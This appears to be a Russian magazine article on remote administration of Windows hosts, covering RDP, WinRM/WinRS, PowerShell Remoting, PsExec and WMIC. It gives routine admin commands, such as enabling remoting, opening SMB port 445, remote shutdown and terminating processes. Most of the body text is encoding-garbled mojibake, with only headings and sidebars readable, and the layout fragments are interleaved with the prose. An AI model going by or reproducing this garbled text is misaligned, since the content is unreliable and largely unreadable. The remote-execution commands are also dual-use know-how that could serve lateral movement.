ôàêòè÷åñêè ïîçâîëÿåò «âñòðîèòü» â ðàáî÷èé 
ñòîë Linux ïðèëîæåíèÿ èç Windows. Ïðè åãî 

èñïîëüçîâàíèè âìåñòî òðàäèöèîííîé ðàìêè 
ñ ðàáî÷èì ñòîëîì óäàëåííîé ñèñòåìû íà äåñê-
òîïå ïîÿâëÿåòñÿ ïàíåëü çàäà÷, à ïðèëîæåíèÿ 

îòêðûâàþòñÿ â îòäåëüíîì îêíå. Ïðè æåëàíèè 
ìîæíî ñäåëàòü òàê, ÷òî ïîëüçîâàòåëü äàæå íå 
çàìåòèò «ïîäìåíó» ÎÑ.
Â ðåæèìå àäìèíèñòðèðîâàíèÿ êëèåíòñêèå 
âåðñèè ÎÑ ïîääåðæèâàþò ðàáîòó òîëüêî 

îäíîãî ïîëüçîâàòåëÿ (ëîêàëüíîãî èëè 
óäàëåííîãî). Äëÿ åãî àêòèâàöèè äîñòàòî÷íî 
â «Ñâîéñòâà» êîìïüþòåðà — «Óäàëåííûå 

ñåàíñû» óñòàíîâèòü ôëàæîê «Ðàçðåøèòü óäà-
ëåííûé äîñòóï ê ýòîìó êîìïüþòåðó» è óêàçàòü 
ó÷åòíûå çàïèñè, êîòîðûì ðàçðåøåí äîñòóï. 
Ïðè ïîäêëþ÷åíèè ê ñèñòåìå àäìèíèñòðàòîðà 
ïîëüçîâàòåëü áóäåò îòêëþ÷åí. Òî åñòü ïîêà-

çàòü, êàê ïðàâèëüíî âûïîëíèòü íåêîòîðóþ 
îïåðàöèþ, âåñüìà ïðîáëåìàòè÷íî, ìîæíî 
ëèøü ïðîèçâåñòè äåéñòâèÿ ïî íàñòðîéêå, ïîñ-
ëå ÷åãî îòäàòü óïðàâëåíèå îáðàòíî ïîëüçîâà-
òåëþ. Äëÿ ïîìîùè â íàñòðîéêàõ óäàëåííîìó 
ïîëüçîâàòåëþ è îäíîâðåìåííîé êîíñóëüòà-
öèè â ðåæèìå ÷àòà èëè ãîëîñîâîãî îáùåíèÿ 
ñëåäóåò èñïîëüçîâàòü Remote Assistance 
(Óäàëåííûé ïîìîùíèê). Îí òàêæå ïîçâîëÿåò 
âçÿòü óïðàâëåíèå ñèñòåìîé, íî ñ ðàçðåøåíèÿ 
ïîëüçîâàòåëÿ.

Ñåðâåðíûå âåðñèè ïîääåðæèâàþò äâà óäàëåí-
íûõ ïîäêëþ÷åíèÿ, ïëþñ ëîêàëüíîå. Ðåæèì 

ðàáîòû Terminal Server mode óæå òðåáóåò äî-
ïîëíèòåëüíîãî ëèöåíçèðîâàíèÿ è ïðåäíàçíà-

÷åí äëÿ óäàëåííîé ðàáîòû ñ ïðèëîæåíèÿìè, à 
íå àäìèíèñòðèðîâàíèÿ ñèñòåì.

Â Win2k8 ïîÿâèëèñü íîâûå âêóñíîñòè äëÿ 
îáåñïå÷åíèÿ äîñòóïà ê óäàëåííîé ñèñòå-

ìå ïî RDP. Ê íèì ìîæíî îòíåñòè ñëóæáû 
TS RemoteApp (óäàëåííûå ïðèëîæåíèÿ 
RemoteApp ñëóæá òåðìèíàëîâ) è Terminal 

Services Web Access (îáåñïå÷èâàåò è êîíò-
ðîëèðóåò äîñòóï ê RemoteApp ïðîãðàììàì 
èëè ðàáî÷èì ñòîëàì êîìïüþòåðîâ îôèñíîé 
ñåòè ÷åðåç áðàóçåð). Ïåðâàÿ óñòàíàâëèâàåòñÿ 
êàê ÷àñòü ðîëè ñåðâåðà òåðìèíàëîâ Win2k8. 

Àäìèíèñòðàòîð ñîçäàåò è ðàñïðîñòðàíÿåò 
ñïåöèàëüíûé RDP-ôàéë, ùåë÷êîì ïî êîòîðî-
ìó ïîëüçîâàòåëü ìîæåò çàïóñòèòü óäàëåííîå 

ïðèëîæåíèå (ïîääåðæèâàåòñÿ Win2k3SP1, 
WinXPSP2 è âûøå). Ýòî ïðèëîæåíèå áóäåò 
âûïîëíÿòüñÿ â îòäåëüíîì îêíå è âíåøíå 
íè÷åì íå îòëè÷àòüñÿ îò ëîêàëüíîé ïðîãðàì-
ìû. ×òîáû èçáàâèòü óäàëåííûõ ïîëüçîâàòå-

ëåé îò íåîáõîäèìîñòè ïîäêëþ÷åíèÿ ê RDP 
÷åðåç VPN, àäìèíèñòðàòîð ìîæåò íàñòðîèòü 
Terminal Services Gateway.

СПОСОБЫ УДАЛЕННОГО УПРАВЛЕНИЯ И ВЫПОЛНЕНИЯ КОМАНД НА 
WINDOWS ХОСТАХ 



ПОПУРРИ ИЗ КОНСОЛЕЙ И ТУЛКИТОВ Âî âðåìåíà Win2k äëÿ óäàëåí-
íîãî àäìèíèñòðèðîâàíèÿ ïî áåçîïàñíîìó êàíàëó Microsoft ïðåä-
ëàãàëà èñïîëüçîâàòü ñëóæáó Remote Command Service (Rcmd.exe). 
Ñåðâåðíàÿ ÷àñòü Rcmdsvc.exe óñòàíàâëèâàëàñü â êà÷åñòâå ñëóæáû è 
îáåñïå÷èâàëà îäíîâðåìåííîå ïîäêëþ÷åíèå äî 10 êëèåíòîâ, à óïðàâëå-
íèå ïðîèçâîäèëîñü ïðè ïîìîùè êîìàíäíîé êîíñîëè Rcmd.exe.
Äëÿ Win2k3 ñòàë äîñòóïåí Administration Tools Pack, â ñîñòàâ êîòîðîãî 
âîøëè 3 ÌÌÑ êîíñîëè, ïðåäíàçíà÷åííûå äëÿ âûïîëíåíèÿ ñïåöèôè-
÷åñêèõ àäìèíèñòðàòèâíûõ çàäà÷: ADMgmt.msc (óïðàâëåíèå Active 
Directory), PKMgmt.msc (ñåðòèôèêàòû è êëþ÷è), IPAddrMgmt.msc (IP-
àäðåñà, DHCP, DNS, WINS). Àêòèâàöèÿ ïóíêòà Remote Administration 
(HTML) â íàñòðîéêàõ IIS äàåò âîçìîæíîñòü óäàëåííî óïðàâëÿòü ñåðâå-
ðîì ïðè ïîìîùè âåá-áðàóçåðà (ïîðò 8098). Â Win2k8 ïîÿâèëñÿ íîâûé 
èíñòðóìåíò óïðàâëåíèÿ ñåðâåðîì — Server Manager, ÿâëÿþùèéñÿ, ïî 
ñóòè, óíèâåðñàëüíûì öåíòðîì, êóäà äîáàâëÿþòñÿ âñå ðîëè è ôóíêöèè 

ïî íàñòðîéêå ñåðâåðà. Ïðàâäà, âîçìîæíîñòü ïîäêëþ÷åíèÿ ê äðóãîìó 
ñåðâåðó ïîÿâèëàñü â Server Manager ëèøü â Win2k8R2. Îñíàñòêè MMC 

â Win2k8, ïðåäíàçíà÷åííûå äëÿ óäàëåííîãî óïðàâëåíèÿ, îáúåäèíåíû 
â êîìïîíåíò Ñðåäñòâà óäàëåííîãî àäìèíèñòðèðîâàíèÿ ñåðâåðà (RSAT, 

Remote Server Administration Tools), è áîëüøàÿ ÷àñòü èç íèõ â Win2k8 
ïî óìîë÷àíèþ íå óñòàíàâëèâàåòñÿ. Êðîìå ýòîãî, ñâîé RSAT åñòü è äëÿ 

Vista/Win7, îí â ñâîáîäíîì äîñòóïå ëåæèò íà ñàéòå Microsoft. C åãî 
ïîìîùüþ ìîæíî óïðàâëÿòü èç Vista/Win7 ðîëÿìè è êîìïîíåíòàìè íà 

ñåðâåðàõ, ðàáîòàþùèõ ïîä óïðàâëåíèåì Win2k3/2k8/2k8R2.
Íàïîìíþ, ÷òî êîíñîëü MMC ïîçâîëÿåò ïîäêëþ÷àòüñÿ, óïðàâëÿòü 
óäàëåííîé ñèñòåìîé è ñëåäèòü çà åå ñîñòîÿíèåì. Äëÿ ýòîãî íåîáõî-

äèìî ëèøü äîáàâèòü îñíàñòêó Óïðàâëåíèå êîìïüþòåðîì (Computer 
Management) è çàòåì â íîâîì îêíå âûáðàòü óïðàâëåíèå äðóãèì êîì-
ïüþòåðîì (Another Computer). Êñòàòè, ìíîãèå êîíñîëüíûå óòèëèòû, 
âõîäÿùèå â ñòàíäàðòíóþ ïîñòàâêó Windows, óìåþò âûïîëíÿòü êîìàí-
äû íà óäàëåííûõ ñèñòåìàõ. Íàïðèìåð, çàïóñòèì óòèëèòó SC è ïîëó÷èì 

ñïèñîê ñåðâèñîâ íà êîìïå \\synack:

> SC \\synack query type= service state= all

Ïëàíèðîâùèê çàäàíèé (Task Scheduler) òàêæå èìååò ïàðàìåòð «/s», 
ïðè ïîìîùè êîòîðîãî çàäàåòñÿ öåëåâàÿ ìàøèíà, ãäå áóäåò âûïîëíåíî 
çàäàíèå, ÷òî äåëàåò åãî âåñüìà ïîëåçíûì èíñòðóìåíòîì.

СЛУЖБА УДАЛЕННОГО УПРАВЛЕНИЯ WINRM Ïåðâàÿ âåðñèÿ ñëóæáû 

óäàëåííîãî óïðàâëåíèÿ WinRM ïîÿâèëàñü â Vista/Win2k8 è ÿâëÿ-
åòñÿ Microsoft-âàðèàíòîì ðåàëèçàöèè ïðîòîêîëà Web Services for 

Management (WS-Management Protocol), ïîçâîëÿþùåãî óïðàâëÿòü 
ëîêàëüíûìè è óäàëåííûìè ñèñòåìàìè ïîñðåäñòâîì XML-ñîîáùåíèé. 
Çàïóùåííàÿ ñëóæáà WinRM ïðåäîñòàâëÿåò äîñòóï êî âñåì WMI-äàí-
íûì (î íèõ íèæå), íî â áîëåå óäîáíîé ôîðìå. Ïåðâàÿ âåðñèÿ èñïîëü-
çîâàëà ñòàíäàðòíûå ïîðòû HTTP/HTTPS, ÷òî äåëàëî åå äðóæåëþáíîé 
äëÿ áðàíäìàóýðîâ è ïîçâîëÿëî ïîäêëþ÷èòüñÿ ê óäàëåííîé ñèñòåìå 
ïðàêòè÷åñêè ñ ëþáîãî êîìïüþòåðà, èìåþùåãî äîñòóï ê ñåòè. Â WinRM 
2.0 ïî óìîë÷àíèþ äëÿ óäàëåííîãî äîñòóïà èñïîëüçóþòñÿ ïîðòû ñ íîìå-
ðàìè 5985/5986, ïëþñ äëÿ ëîêàëüíîãî — 47001/TCP. Õîòÿ ïðè íåîáõî-
äèìîñòè ìîæíî äîñòàòî÷íî ïðîñòî âåðíóòü ñòàíäàðòíûå 80/443.
Â öåëÿõ áåçîïàñíîñòè âåñü òðàôèê ïî óìîë÷àíèþ øèôðóåòñÿ, ïîýòîìó 
êîìàíäû è ïàðîëè íåëüçÿ ïîäñìîòðåòü, àóòåíòèôèêàöèÿ ïðîèçâî-
äèòñÿ ñ èñïîëüçîâàíèåì Kerberos (âîçìîæíî CredSSP). Ïðè÷åì âñå 
êîìïüþòåðû äîëæíû âõîäèòü â äîìåí.
Â Win2k8R2 è Win7 âêëþ÷åí ïîñëåäíèé ðåëèç WinRM 2.0. Äëÿ 

WinXPSP3/2k3SP2/VistaSP1/2k8/2k8SP2 ýòó âåðñèþ ìîæíî óñòà-
íîâèòü ïðè ïîìîùè ïàêåòà Windows Management Framework Core 

(Windows PowerShell 2.0, WinRM 2.0, BITS 4.0, support.microsoft.com/
kb/968929). Óñòàíîâêà òðèâèàëüíà è íå äîëæíà âûçâàòü òðóäíîñòåé.

×òîáû ñëóæáà WinRM ìîãëà ïðèíèìàòü ñåòåâûå çàïðîñû, åå íóæíî 
ïðåäâàðèòåëüíî íàñòðîèòü:

> winrm quickconfig

Îòâå÷àåì íà ðÿä âîïðîñîâ, ïîñëå ÷åãî ñåðâèñ WinRM óñòàíàâëèâà-

åòñÿ â àâòîçàïóñê, àêòèâèðóåòñÿ ïðîñëóøèâàíèå ïîðòîâ 5985/5986, 
à òàêæå ïåðåñòðàèâàþòñÿ ïðàâèëà Windows Firewall. ×òîáû WinRM 
ïðîñëóøèâàë ïîðòû 80/443, ïðîñòî èçìåíèì åãî íàñòðîéêè:

> winrm set winrm/config/service @{EnableCompatibilityH

ttpListener="true"}

> winrm set winrm/config/service @{EnableCompatibilityH

ttpsListener="true"}

Åcëè â ïîñëåäñòâèè áóäóò îáíàðóæåíû ïðîáëåìû ñ ïîäêëþ÷åíèåì, 
ñìîòðèì âûâîä êîìàíä «winrm enumerate winrm/config/listener» è 
«winrm get winrm/config». Êñòàòè, âåá-ñåðâåð è WinRM, ïðîñëóøèâàþ-

ùèå 80 ïîðò, íå áóäóò äðóã äðóãó ìåøàòü: âñå äåëî â òîì, ÷òî äëÿ WinRM 
çàðåçåðâèðîâàíî ðàçìåùåíèå «/wsman», ïîýòîìó íà âåá-ñåðâåðå 
ñëåäóåò èçáåãàòü èñïîëüçîâàíèÿ òàêîãî URL.

Äðóãèì âàðèàíòîì íàñòðîéêè ÿâëÿåòñÿ èñïîëüçîâàíèå ãðóïïîâûõ 
ïîëèòèê. Íóæíûå óñòàíîâêè íàéäåøü â «Êîíôèãóðàöèÿ êîìïüþ-
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òåðà — Ïîëèòèêè — Àäìèíèñòðàòèâíûå øàáëîíû — 
Êîìïîíåíòû Windows — Óäàëåííîå óïðàâëåíèå 
Windows» (Computer Configuration — Administrative 
Templates — Windows Components — Windows Remote 
Management). Çäåñü äâà ïîäïóíêòà, â êîòîðûõ ïðîèç-
âîäÿòñÿ ñîîòâåòñòâåííî íàñòðîéêè êëèåíòîâ WinRS 
è ñåðâåðà WinRM. Íàïðèìåð, â «Ðàçðåøèòü àâòîìàòè-
÷åñêóþ íàñòðîéêó ïðîñëóøèâàòåëåé» (Allow automatic 
configuration of listeners) ìîæíî çàäàòü äèàïàçîí IP-
àäðåñîâ, ñ êîòîðûõ ðàçðåøåíû ïîäêëþ÷åíèÿ.
Â êîíñîëè òàêèå ñèñòåìû äîáàâëÿþòñÿ â TrustedHosts:

> winrm set winrm/config/client @ 

{TrustedHosts="synack"}

Ñîîòâåòñòâåííî, ÷òîáû ïðîñìîòðåòü íàñòðîéêè, èñïîëüçó-
åì àðãóìåíò get:

> winrm get winrm/config/client

Êëèåíòñêàÿ ÷àñòü çàêëþ÷åíà â êîíñîëüíîé óòèëèòå WinRS. 
Ïî óìîë÷àíèþ êîìàíäû âûïîëíÿþòñÿ íà òåêóùåì óçëå, 
íî ñòîèò äîáàâèòü ïàðàìåòð '-r', è ìîæíî ïîäêëþ÷èòüñÿ ê 

óäàëåííîé ñèñòåìå:

> winrs -r:synack cmd.exe

> hostname

synack

> ipconfig

Â èòîãå ìû ïîëó÷àåì íå÷òî âðîäå SSH-ñåññèè, îòëè÷íî 
çàùèùåííîé è ïîçâîëÿþùåé óïðàâëÿòü óäàëåííûì 
êîìïüþòåðîì. Óòèëèòà WinRS èñïîëüçóåò îáîëî÷êó cmd, 

â ÷åì íåòðóäíî óáåäèòüñÿ, ïðîñìîòðåâ ñïèñîê äîñòóïíûõ 
êîìàíä ïî «winrs help».Êîíå÷íî æå, êîìàíäó ìîæíî çàäàòü 
è ñðàçó, íå âûçûâàÿ íàïðÿìóþ îáîëî÷êó cmd:

> winrs -r:synack "dir C:"

Ïî óìîë÷àíèþ èñïîëüçóåòñÿ ïðîòîêîë HTTP, íî ïåðåéòè 
íà HTTPS î÷åíü ïðîñòî:

> winrs -r:https://synack "tasklist"

POWERSHELL REMOTING Îäíèì èç ãëàâíûõ íîâîââåäåíèé 

êîìàíäíîé îáîëî÷êè PowerShell âåðñèè 2.0 ñòàëî óäàëåííîå 
âûïîëíåíèå êîìàíä — Remoting. Â îñíîâå ýòîé ôè÷è ëåæèò 

WinRM 2.0, âñå âîçìîæíîñòè êîòîðîãî èñïîëüçóþòñÿ ïî ïîëíîé 
ïðîãðàììå: ïîäêëþ÷åíèå ê ñèñòåìàì ÷åðåç ïðîêñè-ñåðâåðà, 
ðàáîòà ïî ñòàíäàðòíûì ïîðòàì HTTP/HTTPS, øèôðîâàíèå ïå-
ðåäàâàåìûõ äàííûõ ñ èñïîëüçîâàíèåì SSL è ò.ä. ×òî èíòåðåñíî, 
PowerShell Remoting ïîçâîëÿåò íå ïðîñòî âûïîëíÿòü êîìàíäû 
íà îäíîì èëè ìíîæåñòâå óäàëåííûõ õîñòîâ (ïàðàëëåëüíî èëè 
ïîñëåäîâàòåëüíî), íî è îòñëåæèâàòü èõ âûïîëíåíèå, ïîëó÷àòü 
ðåçóëüòàòû èõ ðàáîòû. Ïðè ïåðâîì çàïóñêå PowerShell-ñêðèï-
òà, ñêîðåå âñåãî, ïîÿâèòñÿ ñîîáùåíèå î òîì, ÷òî âûïîëíåíèå 
PowerShell ñêðèïòîâ íà äàííîé ñèñòåìå çàáëîêèðîâàíî, è 
äàåòñÿ ðåêîìåíäàöèÿ íàáðàòü «get-help about_signing». Âñå äåëî 
â ïîëèòèêàõ. Ñìîòðèì òåêóùåå ïîëîæåíèå äåë:

PS C:\> Get-ExecutionPolicy

Restricted

Â òàêîì âàðèàíòå ñìîæåì çàïóñêàòü ëèøü îòäåëüíûå 
êîìàíäû, âûïîëíåíèå ñöåíàðèåâ çàïðåùåíî. Óñòàíîâèì 
«RemoteSigned»:

PS C:\> Set-ExecutionPolicy RemoteSigned

Ïîäòâåðæäàåì çàïðîñ íà èçìåíåíèå ïîëèòèêè.

Ïîäãîòîâèòü ñèñòåìó äëÿ óäàëåííîãî óïðàâëåíèÿ äîñòà-
òî÷íî ïðîñòî, ââîäèì â êîíñîëè PowerShell:

PS C:\> Enable-PSRemoting

Áóäåò çàïðîøåíî ïîäòâåðæäåíèå íà âûïîëíåíèå ðÿäà 
îïåðàöèé (êëþ÷ '-Force' çàïóñòèò áåç ïîäòâåðæäåíèé). 
Ïîñëå ýòîãî àâòîìàòè÷åñêè áóäåò ñêîíôèãóðèðîâàí 

ñåðâèñ WinRM íà àâòîçàïóñê, ñîçäàíû èñêëþ÷åíèÿ â 
ïðàâèëàõ WF (àíàëîãè÷íûå «winrs quickconfig», òî÷íåå 
Set-WSManQuickConfig), ñîçäàí ïðîñëóøèâàòåëü HTTP 

äëÿ ïðèåìà WS-Management íà ëþáîì èç IP-àäðåñîâ êîì-
ïüþòåðà. Ïðè íåîáõîäèìîñòè îòêëþ÷èòü âîçìîæíîñòü 
óäàëåííîãî óïðàâëåíèÿ òàêæå ïðîñòî:

PS C:\> Disable-PSRemoting

Äëÿ ïðîâåðêè ðàáîòû óäàëåííîãî óïðàâëåíèÿ ìîæíî 
èñïîëüçîâàòü, íàïðèìåð, êîìàíäëåò Test-WSMan:

PS C:\> Test-WSMan -ComputerName synack.ru\

Òåïåðü ó íàñ äâà âàðèàíòà âûïîëíåíèÿ PS-êîìàíäëåòîâ 

íà óäàëåííîé ñèñòåìå: èíòåðàêòèâíûé è êîìàíäíûé. Â 

ПОДКЛЮЧАЕМСЯ В MMC КОНСОЛИ К УДА-
ЛЕННОЙ СИСТЕМЕ

АКТИВИРУЕМ УДАЛЕННОЕ УПРАВЛЕНИЕ В 
POWERSHELL

info
• О PowerShell читай 
в статье «Капитан 
PowerShell 
и админист рирование 
будущего», опубли-
кованной в сентябрь-
ском номере журнала 
за 2009 год.

• PowerShell 2.0 по 
умолчанию входит 
в состав Win2k8R2 и 
Win7.

• Впервые поддержка 
протокола RDP (порт 
3389) появилась в 
WinNT 4.0 Terminal 
Server.

• Существует реали-
зация RDP-сервера и 
для Unix систем — Xrdp 
(xrdp.sf.net). Однако 
проект не пользуется 
популярностью, 
и более двух лет не 
обновлялся.

• Подключение по 
RDP работает даже по 
медленным каналам, 
при работе через NAT-
устройства, поддержи-
вающие технологию 
UPnP.

• При использова-
нии протокола RDP 
6 и выше можно 
подключаться не к 
виртуальной консоли, 
а непосредственно к 
консоли 0, для этого 
следует запустить 
терминальный клиент 
с ключом «/console».

• Служба Terminal 
Services Web Access 
будет также полезна 
в том случае, если со-
трудникам приходится 
подключаться к уда-
ленным ресурсам из 
интернет-кафе, имея в 
своем распоряжении 
только веб-браузер.

INFO
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ïåðâîì ñëó÷àå, èñïîëüçóÿ êîìàíäëåò Enter-PSSession, ïîä-

êëþ÷àåìñÿ ê PowerShell ñåññèè íà óäàëåííîé ñèñòåìå:

PS C:\> Enter-PSSession synack.ru

Òåïåðü ìîæåì ââîäèòü êîìàíäû, ïîëó÷àòü îòâåò, òî åñòü 

ðàáîòàòü êàê çà ëîêàëüíîé êîíñîëüþ. ×òîáû îòêëþ÷èòüñÿ 
îò óäàëåííîé ñèñòåìû, íàáèðàåì exit èëè Exit-PSSession.

×òîáû âûïîëíèòü êîìàíäó íà îäíîì èëè íåñêîëüêèõ 
óäàëåííûõ êîìïüþòåðàõ, èñïîëüçóåòñÿ êîìàíäëåò 
Invoke-Command. Ñïèñîê ñèñòåì ìîæíî ïåðåäàòü êàê 
íåïîñðåäñòâåííî â êîìàíäíîé ñòðîêå, òàê è ïðîïèñàòü 
èõ â òåêñòîâîì ôàéëå (óäîáíî â òîì ñëó÷àå, åñëè èõ ìíî-
ãî). Íàïðèìåð, ïîëó÷èì ñïèñîê ïðîöåññîâ íà óäàëåííîé 
ñèñòåìå:

PS C:\> Invoke-Command -ComputerName synack.ru 

-ScriptBlock {Get-Service | Format-List}

Äîïóñêàåòñÿ ïåðåäà÷à ëþáîãî êîëè÷åñòâà êîìàíä çà 
ðàç (ïðè÷åì äëÿ ýòîãî óäîáíî çàäåéñòâîâàòü ïåðå-
ìåííóþ), ÷òî ìîæåò áûòü èñïîëüçîâàíî â ñêðèïòàõ 

è äëÿ àâòîìàòèçàöèè îïåðàöèé. Äëÿ ïðèìåðà îòêðî-
åì 445 ïîðò â áðàíäìàóýðå:

PS C:\> $portcommand = {netsh firewall set 

portopening tcp 445 smb enable}

PS C:\> Invoke-Command -ComputerName synack.ru 

-ScriptBlock $portcommand

Êñòàòè, Netsh ñàì óìååò óïðàâëÿòü íàñòðîéêàìè íå 
òîëüêî ëîêàëüíîé, íî è îäíîé èëè íåñêîëüêèõ óäà-
ëåííûõ ìàøèí. Äîñòàòî÷íî äîáàâèòü êîìàíäó «set 

machine» èëè êëþ÷ '–r', ïîñëå ÷åãî çàäàòü WINS/UNC/
DNS èìÿ èëè IP-àäðåñ:

ПРОСМАТРИВАЕМ УСТАНОВКИ WINRM

НАСТРОЙКА РАБОТЫ СЛУЖБЫ УДАЛЕН-
НОГО УПРАВЛЕНИЯ ПРИ ПОМОЩИ ГРУППО-
ВЫХ ПОЛИТИК

• Windows Management 

Framework Core для 

WinXP/2k3/Vista/2008 — 
support.microsoft.
com/kb/968929.

• Утилиты Sysinternal — 
technet.microsoft.
com/ru-ru/
sysinternals.

• Microsoft Script 

Center — technet.
microsoft.com/ru-
ru/scriptcenter.

links

HTTP://WWW
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> netsh -r synack.ru -u 

administrator -p password diag gui

Â èòîãå ïîëó÷àåì HTML-ñòðàíèöó ñ äèàãíîñ-
òè÷åñêîé èíôîðìàöèåé (ñâåäåíèÿ î êîìïüþ-
òåðå, ñåòåâûå íàñòðîéêè, ñïèñîê ñëóæá èíòåð-
íåòà), êîòîðàÿ ìîæåò ïîìî÷ü â îïðåäåëåíèè 
èñòî÷íèêà ïðîáëåì.

УТИЛИТА PSEXEC Óòèëèòà PsExec íå 
âõîäèò â ñòàíäàðòíóþ ïîñòàâêó ÎÑ, íî 
îíà äîñòàòî÷íî óäîáíà äëÿ âûïîëíåíèÿ 

áîëüøèíñòâà çàäà÷ ïî àäìèíèñòðèðîâà-
íèþ óäàëåííûõ ñèñòåì. Íàéòè åå ìîæíî 
â ïàêåòå Sysinternals PsTools (technet.

microsoft.com/ru-ru/sysinternals). ×òîáû 
áûëî óäîáíåå âûçûâàòü, èñïîëíÿåìûé 
ôàéë ëó÷øå ñêîïèðîâàòü â êàòàëîã, 

äîñòóïíûé ÷åðåç ïåðåìåííóþ %path% 
(íàïðèìåð, system32). Äëÿ âûïîëíåíèÿ 
êîìàíä íà óäàëåííîé ñèñòåìå àâòîìà-

òè÷åñêè çàïóñêàåòñÿ ñëóæáà system32\
psexesvc.exe, ïîýòîìó äëÿ ðàáîòû ñ PsExec 
íåîáõîäèìû ñîîòâåòñòâóþùèå àäìèíñ-
êèå ïðàâà (â äîìåíå èëè ëîêàëüíîé ñèñ-
òåìå). Ïîñëå çàâåðøåíèÿ ðàáîòû äàííàÿ 

ñëóæáà è ñâÿçàííûå ôàéëû àâòîìàòè÷åñ-
êè óäàëÿþòñÿ. Îáùèé ôîðìàò çàïóñêà 
ñëåäóþùèé:

psexec \\computer -u user -p passwd 

command êëþ÷è

Åñëè èìÿ ïîëüçîâàòåëÿ îòñóòñòâóåò, òî 
ïîäðàçóìåâàåòñÿ òåêóùàÿ ó÷åòíàÿ çàïèñü. 
Ñîîòâåòñòâåííî, åñëè óáðàòü íàçâàíèå 
êîìïüþòåðà, òî êîìàíäà áóäåò âûïîëíåíà íà 
ëîêàëüíîé ñèñòåìå.
Ïðèìåð èñïîëüçîâàíèÿ:

> psexec \\synack cmd.exe

Âñå, ïåðåä íàìè êîíñîëü óäàëåííîé ñèñòåìû. 
Ñåññèÿ íèêàê íå øèôðóåòñÿ, è äàííûå ìîæíî 
ïåðåõâàòèòü ñíèôåðîì, ïîýòîìó PsExec ñëåäó-

åò èñïîëüçîâàòü â çàùèùåííîé ñðåäå. Ïðîâåð-
êà ïîäëèííîñòè ïðîèçâîäèòñÿ ñðåäñòâàìè 
Windows NTLM èëè Kerberos.

Ïðè íåîáõîäèìîñòè ìîæíî âûïîëíèòü êîìàí-
äó îäíîâðåìåííî íà íåñêîëüêèõ ñèñòåìàõ, 
èìåíà õîñòîâ ïåðå÷èñëÿþòñÿ ÷åðåç çàïÿòóþ, 
êàê âàðèàíò, èõ ìîæíî âïèñàòü â ôàéë òåêñòî-
âîãî ôîðìàòà, êîòîðûé è óêàçàòü ïðè çàïóñêå:

> psexec @c:\systems.txt shutdown 

/p /f

Óòèëèòà èìååò ðÿä êëþ÷åé. Òàê, êëþ÷ '-c' ïîçâî-

ëèò ñêîïèðîâàòü ïðîãðàììó ñ ëîêàëüíîãî äèñêà 

íà óäàëåííóþ ñèñòåìó ïåðåä åå âûïîëíåíèåì. 
Êëþ÷ '-i' çàïóñêàåò ïðîãðàììó â èíòåðàêòèâíîì 
ðåæèìå. ×òîáû PsExec «çàáûë» î çàïóùåííîé 

ïðîãðàììå ñðàçó ïîñëå åå âûïîëíåíèÿ, îñâîáî-
äèâ òåì ñàìûì êîíñîëü, èñïîëüçóåì '-d':

> psexec -d \\sysack chkdsk

Òåïåðü íà óäàëåííîé ñèñòåìå èíèöèèðóåòñÿ 

ïðîâåðêà äèñêîâ, à àäìèíèñòðàòîð ñìîæåò 
ïðîäîëæèòü ââîä êîìàíä.

ИНСТРУМЕНТАРИЙ ДЛЯ УПРАВЛЕНИЯ 
WINDOWS Êàê ñëåäóåò èç íàçâàíèÿ, WMI 
òàêæå ìîæåò èñïîëüçîâàòüñÿ äëÿ óïðàâ-
ëåíèÿ è äîñòóïà ê äàííûì íà óäàëåííûõ 

ñèñòåìàõ. Õîòÿ ïî ñðàâíåíèþ ñ äðóãèìè 
ìåòîäàìè, ðàññìîòðåííûìè ðàíåå, ðàáîòà 
ñ WMI íà ïîðÿäîê ñëîæíåå. Íî ñåãîäíÿ â 

èíòåðíåòå ìîæíî íàéòè áîëüøîå êîëè-
÷åñòâî ãîòîâûõ ñêðèïòîâ, ïîçâîëÿþùèõ 
ïîñëå íåêîòîðîé àäàïòàöèè âûïîëíèòü 
ïðàêòè÷åñêè ëþáóþ çàäà÷ó ïî óïðàâëåíèþ 
ñèñòåìàìè è ñáîðó äàííûõ. Êðîìå ýòîãî, 

ñëåäóåò ó÷èòûâàòü, ÷òî íåêîòîðûå êîìàíäû 
è ïàðàìåòðû ñïåöèôè÷íû äëÿ ðàçíûõ âåð-
ñèé ÎÑ, ïîýòîìó ñêðèïò, íàïèñàííûé äëÿ 

Win7, â WinXP, âîçìîæíî, íå áóäåò ðàáîòàòü 
äîëæíûì îáðàçîì. Äëÿ ïðîâåðêè ïîäëèí-

WBEMTEST — ГРАФИЧЕСКАЯ УТИЛИТА ДЛЯ ВЗАИМОДЕЙСТВИЯ С WMI
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íîñòè èñïîëüçóåòñÿ NTLM èëè Kerberos, ïî óìîë÷àíèþ óäàëåííîå 

ïîäêëþ÷åíèå íå øèôðóåòñÿ, íî òàêàÿ âîçìîæíîñòü ïðåäóñìîòðå-
íà.

Ïåðåä íà÷àëîì èñïîëüçîâàíèÿ WMI ñëåäóåò çàïóñòèòü MMC-êîíñîëü 
DCOMCnfg è ðàçðåøèòü óäàëåííîå âûïîëíåíèå DCOM-çàïðîñîâ, 

àíàëîãè÷íûå äåéñòâèÿ ïðîèçâîäÿòñÿ è äëÿ WMI â wmimgmt.msc. Ïëþñ 
ñîçäàåì ðàçðåøàþùåå ïðàâèëî Windows Firewall äëÿ WMI:

> netsh advfirewall firewall set rule group="windows 

management instrumentation (wmi)" new enable=yes

Âîçìîæíî íåñêîëüêî âàðèàíòîâ âûïîëíåíèÿ WMI íà óäàëåííîé ñèñ-
òåìå. Ñêðèïòû çäåñü ðàññìàòðèâàòü íå áóäåì, ýòî äîñòàòî÷íî åìêèé 
âîïðîñ. Ñàìûé ïðîñòîé ñïîñîá — èñïîëüçîâàíèå êîíñîëüíîé óòèëèòû 

Wmic ñ êëþ÷îì «/node». Íàïðèìåð, ïîëó÷èì ñïèñîê ó÷åòíûõ çàïèñåé 
íà óäàëåííîì êîìïüþòåðå:

> wmic /node:synack /USER:"username" useraccount list 

brief

Åñëè íóæíî âûïîëíèòü êîìàíäó ñðàçó íà íåñêîëüêèõ êîìïüþòåðàõ, 
ïîñòóïàåì àíàëîãè÷íî PsExec, òî åñòü ïåðå÷èñëÿåì èõ ÷åðåç çàïÿòóþ 
èëè ïðîïèñûâàåì â ôàéë.

Ïðîñìîòðèì ñïèñîê ïðîöåññîâ è óíè÷òîæèì «íåíóæíûé»:

> wmic /node:synack process list

> wmic /node:synack process where(id="679") call 

terminate

Ê ñëîâó, øòàòíàÿ êîìàíäà tasklist ïîääåðæèâàåò âîçìîæíîñòü âûïîë-

íåíèÿ íà óäàëåííîé ñèñòåìå. Ôîðìàò ñëåäóþùèé:

